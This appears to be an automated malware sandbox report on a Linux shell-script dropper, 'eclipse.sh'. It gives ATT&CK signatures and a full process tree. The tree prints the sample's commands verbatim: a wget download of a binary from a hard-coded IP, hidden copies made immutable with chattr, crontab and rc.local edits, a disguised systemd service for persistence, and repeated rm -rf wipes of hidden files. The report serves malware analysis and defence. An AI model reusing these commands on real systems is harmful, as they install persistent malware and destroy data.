7a4432b5712258fe21392aaa5f336b8330c4ab86592829c0a5e5a24ba763c0b4

Analysis

max time kernel
149s
max time network
147s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/10/2026, 18:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
eclipse.sh
Size 485B
Sample261002-w95fcsvgjd
SHA256 7a4432b5712258fe21392aaa5f336b8330c4ab86592829c0a5e5a24ba763c0b4
MD5 51a941cf8f230d71724db1a19cd9d1e5
SHA1 1f36de11b2cabcfcee49c8b0943c49a8f876f33a
SHA512 1248266bb824fc0a2bcecfb2a621b6b23ff46cf3910d42eea171d3a66a90c00b200b44987f6afe29c3db96acbff08e34a45148793f8cab3f51202253bde173ce
TLSH
T103F097C6F0207D32C2C6240C1F0A71E691DA0C892A80DD98A4C3FCB4FC1A24978A3B44
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
683	chmod
694	sh
695	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.e	654	eclipse.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Z7QqIr	crontab

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	.e

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/.eclipse.service	sh

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	.e

Command and Scripting Interpreter: Unix Shell 1 TTPs 64 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
914	sh
837	sh
827	sh
833	sh
944	sh
980	sh
1022	sh
1042	sh
829	sh
986	sh
994	sh
704	sh
922	sh
924	sh
1028	sh
1040	sh
896	sh
809	sh
815	sh
910	sh
878	sh
902	sh
1024	sh
1032	sh
835	sh
852	sh
946	sh
978	sh
690	sh
811	sh
821	sh
930	sh
1030	sh
850	sh
854	sh
860	sh
908	sh
912	sh
920	sh
942	sh
1014	sh
688	sh
868	sh
974	sh
906	sh
938	sh
996	sh
1054	sh
698	sh
817	sh
856	sh
958	sh
982	sh
1046	sh
872	sh
898	sh
992	sh
1038	sh
1048	sh
839	sh
862	sh
874	sh
962	sh
968	sh

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/919/fd	.e
File opened for reading	/proc/955/fd	.e
File opened for reading	/proc/6/fd	.e
File opened for reading	/proc/22/fd	.e
File opened for reading	/proc/75/fd	.e
File opened for reading	/proc/324/fd	.e
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/11/fd	.e
File opened for reading	/proc/222/fd	.e
File opened for reading	/proc/591/fd	.e
File opened for reading	/proc/660/fd	.e
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/865/fd	.e
File opened for reading	/proc/883/fd	.e
File opened for reading	/proc/29/fd	.e
File opened for reading	/proc/159/fd	.e
File opened for reading	/proc/316/fd	.e
File opened for reading	/proc/318/fd	.e
File opened for reading	/proc/653/fd	.e
File opened for reading	/proc/665/fd	.e
File opened for reading	/proc/681/fd	.e
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/23/fd	.e
File opened for reading	/proc/808/fd	.e
File opened for reading	/proc/844/fd	.e
File opened for reading	/proc/973/fd	.e
File opened for reading	/proc/1027/fd	.e
File opened for reading	/proc/14/fd	.e
File opened for reading	/proc/96/fd	.e
File opened for reading	/proc/294/fd	.e
File opened for reading	/proc/17/fd	.e
File opened for reading	/proc/577/fd	.e
File opened for reading	/proc/10/fd	.e
File opened for reading	/proc/20/fd	.e
File opened for reading	/proc/41/fd	.e
File opened for reading	/proc/42/fd	.e
File opened for reading	/proc/202/fd	.e
File opened for reading	/proc/333/fd	.e
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/5/fd	.e
File opened for reading	/proc/8/fd	.e
File opened for reading	/proc/13/fd	.e
File opened for reading	/proc/16/fd	.e
File opened for reading	/proc/331/fd	.e
File opened for reading	/proc/597/fd	.e
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/19/fd	.e
File opened for reading	/proc/25/fd	.e
File opened for reading	/proc/136/fd	.e
File opened for reading	/proc/826/fd	.e
File opened for reading	/proc/3/fd	.e
File opened for reading	/proc/12/fd	.e
File opened for reading	/proc/107/fd	.e
File opened for reading	/proc/133/fd	.e
File opened for reading	/proc/157/fd	.e
File opened for reading	/proc/286/fd	.e
File opened for reading	/proc/296/fd	.e
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/2/fd	.e
File opened for reading	/proc/169/fd	.e
File opened for reading	/proc/594/fd	.e
File opened for reading	/proc/638/fd	.e
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/cmdline	systemctl

System Network Configuration Discovery 1 TTPs 43 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
700	grep
985	rm
816	rm
820	rm
869	rm
887	rm
1021	rm
1031	rm
654	eclipse.sh
692	sh
702	sh
704	sh
705	sh
838	rm
913	rm
977	rm
693	cp
698	sh
941	rm
959	rm
1013	rm
697	chattr
703	sed
812	rm
830	rm
851	rm
877	rm
923	rm
1049	rm
895	rm
1039	rm
949	rm
1003	rm
690	sh
859	rm
905	rm
931	rm
967	rm
995	rm
1057	rm
659	wget
691	cp
696	sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.e	wget

/tmp/eclipse.sh
/tmp/eclipse.sh
1⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:654
- /bin/uname
  uname -m
  2⤵
  PID:656
- /bin/rm
  rm -f .e
  2⤵
  PID:657
- /usr/bin/wget
  wget -q http://176.65.139.78/eclipse.armv7l -O .e
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:659
- /bin/chmod
  chmod +x .e
  2⤵
  - File and Directory Permissions Modification
  PID:683

/tmp/.e
./.e
1⤵
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:654
- /bin/sh
  /bin/sh -c "echo '0' > /proc/sys/kernel/pid_max 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:688
- /bin/sh
  /bin/sh -c "ulimit -u 50 2>/dev/null"
  2⤵
  PID:689
- /bin/sh
  /bin/sh -c "cp /tmp/.e /var/tmp/.eclipse 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  - System Network Configuration Discovery
  PID:690
- - /bin/cp
    cp /tmp/.e /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:691
- /bin/sh
  /bin/sh -c "cp /tmp/.e /usr/lib/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:692
- - /bin/cp
    cp /tmp/.e /usr/lib/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:693
- /bin/sh
  /bin/sh -c "chmod +x /var/tmp/.eclipse /usr/lib/.eclipse 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  PID:694
- - /bin/chmod
    chmod +x /var/tmp/.eclipse /usr/lib/.eclipse
    3⤵
    - File and Directory Permissions Modification
    PID:695
- /bin/sh
  /bin/sh -c "chattr +i /var/tmp/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:696
- - /usr/bin/chattr
    chattr +i /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:697
- /bin/sh
  /bin/sh -c "crontab -l 2>/dev/null | grep -v '.eclipse' | crontab - 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  - System Network Configuration Discovery
  PID:698
- - /bin/grep
    grep -v .eclipse
    3⤵
    - System Network Configuration Discovery
    PID:700
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    - Reads runtime system information
    PID:701
- - /usr/bin/crontab
    crontab -l
    3⤵
    - Reads runtime system information
    PID:699
- /bin/sh
  /bin/sh -c "sed -i '/.eclipse/d' /etc/rc.local 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:702
- - /bin/sed
    sed -i /.eclipse/d /etc/rc.local
    3⤵
    - System Network Configuration Discovery
    PID:703
- /bin/sh
  /bin/sh -c "echo '[Unit] Description=System Service After=network.target [Service] Type=simple ExecStart=/var/tmp/.eclipse Restart=on-failure RestartSec=30 [Install] WantedBy=multi-user.target' > /etc/systemd/system/.eclipse.service 2>/dev/null"
  2⤵
  - Modifies systemd
  - Command and Scripting Interpreter: Unix Shell
  - System Network Configuration Discovery
  PID:704
- /bin/sh
  /bin/sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable .eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:705
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:706
- - /bin/systemctl
    systemctl enable .eclipse
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:719
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:809
- - /bin/rm
    rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.e /tmp/.font-unix
    3⤵
    PID:810
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:811
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:812
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:813
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:814
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:815
- - /bin/rm
    rm -rf /run/. /run/.. /run/.eclipse.lock
    3⤵
    - System Network Configuration Discovery
    PID:816
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:817
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:818
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:819
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:820
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:821
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:822
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:823
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:824
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:827
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:828
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:829
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:830
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:831
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:832
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:833
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:834
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:835
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:836
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:837
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:838
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:839
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:840
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:841
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:842
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:848
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:849
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:850
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:851
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:852
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:853
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:854
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:855
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:856
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:857
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:858
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:859
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:860
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:861
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:862
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:863
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:866
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:867
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:868
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:869
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:870
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:871
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:872
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:873
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:874
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:875
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:876
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:877
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:878
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:879
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:880
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:881
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:884
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:885
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:886
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:887
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:888
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:889
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:890
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:891
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:892
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:893
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:894
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:895
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:896
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:897
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:898
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:899
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:902
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:903
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:904
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:905
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:906
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:907
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:908
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:909
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:910
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:911
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:912
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:913
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:914
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:915
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:916
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:917
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:920
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:921
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:922
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:923
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:924
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:925
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:926
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:927
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:928
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:929
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:930
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:931
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:932
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:933
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:934
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:935
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:938
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:939
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:940
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:941
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:942
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:943
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:944
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:945
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:946
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:947
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:948
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:949
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:950
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:951
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:952
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:953
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:956
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:957
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:958
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:959
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:960
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:961
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:962
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:963
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:964
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:965
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:966
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:967
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:968
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:969
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:970
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:971
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:974
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:975
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:976
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:977
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:978
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:979
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:980
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:981
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:982
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:983
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:984
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:985
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:986
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:987
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:988
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:989
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:992
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:993
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:994
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:995
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:996
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:997
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:998
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:999
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1000
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1001
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1002
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1003
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1004
- - /bin/rm
